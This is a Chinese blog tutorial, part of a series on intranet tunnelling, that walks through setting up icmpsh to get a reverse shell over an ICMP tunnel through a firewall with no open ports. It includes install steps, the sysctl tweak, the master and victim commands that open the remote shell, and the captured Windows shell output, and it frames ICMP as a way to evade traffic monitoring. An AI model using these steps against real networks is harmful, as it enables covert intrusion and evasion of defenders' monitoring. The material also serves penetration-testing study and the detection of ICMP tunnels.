【内网流量操控技术六】icmp隧道之icmpsh

前言

今天是大年三十,先给大家拜个早年,虽然是年末最后一天,但对于有技术信仰的我们来说,其实每一天都是第0天,遂积跬步,记录一篇。前面我们学习了ssh隧道、dns隧道,这些隧道从tcp/ip七层协议来看,多是通过应用层或传输层协议穿透防火墙。那么当防火墙如果不开任何端口,我们应该如何穿透绕过防火墙出站规则呢,本节我们通过学习icmpsh来解决服务器未开端口时,如何通过icmp隧道穿透防火墙,其原理虽然简单,但动手一试发现有很多坑值得避免。


一、icmp隧道原理

前面说到,icmp隧道实战中多用于服务器未开启任何端口时,但双方能够通过icmp协议通讯,即能够ping通对方。因此我们设计实验拓扑如下:
在这里插入图片描述

二、环境配置

1.攻击机kali配置(master)

icmpsh软件虽然不通过TCP协议通讯,但它依然是基于C/S架构开发的,因此我们在服务端攻击机kali进行如下配置
首先从github上clone项目到本地

git clone https://github.com/inquisb/icmpsh.git

安装依赖库python-impacket

apt-get install python-impacket

安装python-impacket遇到报错

┌──(root💀kali20204)-[~/icmpsh]
└─# apt-get install python-impacket                                                                                                                                              1 ⨯
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package python-impacket is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  python3-impacket impacket-scripts

这里提示安装python3-impacket,但icmpsh软件是基于python2开发的,因此必须要安装python-impacket,从github上下载impacket并安装。

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket 
python setup.py install

设置icmp_echo报文忽略不响应。如果不设置,攻击机可以收到靶机反馈的信息,但靶机将无法收到攻击机发出的指令。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

此时再进入icmpsh目录执行命令,即可,这里的python是2.X版本,第一个参数是攻击机ip,第二个参数是防火墙WAN口ip。

python icmpsh_m.py 192.168.0.164 192.168.0.165

对于防火墙WAN口IP,我们在内网通过命令ipconfig是无法获得的。因此,我们可以通过ping命令,从内网主机ping攻击机,再在攻击机上抓包,从而获取WAN口IP地址。
通过目录查看,我们知道,对于icmpsh软件,在服务端(攻击机)可以一般运行在*unix操作系统,可以通过C语言、perl语言和python2环境运行。

┌──(root💀kali20204)-[~/icmpsh]
└─# ls
icmpsh.exe  icmpsh-m.c  icmpsh-m.pl  icmpsh_m.py  icmpsh-s.c  README.md  run.sh  screenshots

2.靶机配置(slave)

对于靶机icmpsh软件只提供了对于windows靶机的二进制文件icmpsh.exe,即此软件只适合靶机是windows操作系统,攻击机是*unix操作系统的环境。靶机运行命令如下:

icmpsh.exe -t 192.168.0.164

攻击机界面返回shell

┌──(root💀kali20204)-[~/icmpsh]
└─# python icmpsh_m.py 192.168.0.164 192.168.0.165                                                                                                                               1 ⨯
Microsoft Windows [°汾 5.2.3790]
(C) °爨̹Ԑ 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\؀Ħ>Microsoft Windows [°汾 5.2.3790]
'Microsoft' ²»ˇŚ²¿»󎢲¿ļ®£¬Ҳ²»ˇ¿ʔ̐еij͐ 
»󆺴¦mτ¼þ¡£

总结

icmpsh原理简单,但其应用广泛,虽然已经出现多年,但越来越多红队人员发现icmp协议其实对逃避流量监测有着很好的隐蔽作用。我们可以通过学习,触类旁通,用icmp协议封装传输数据,在其他的渗透测试活动中发挥更大的威力。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值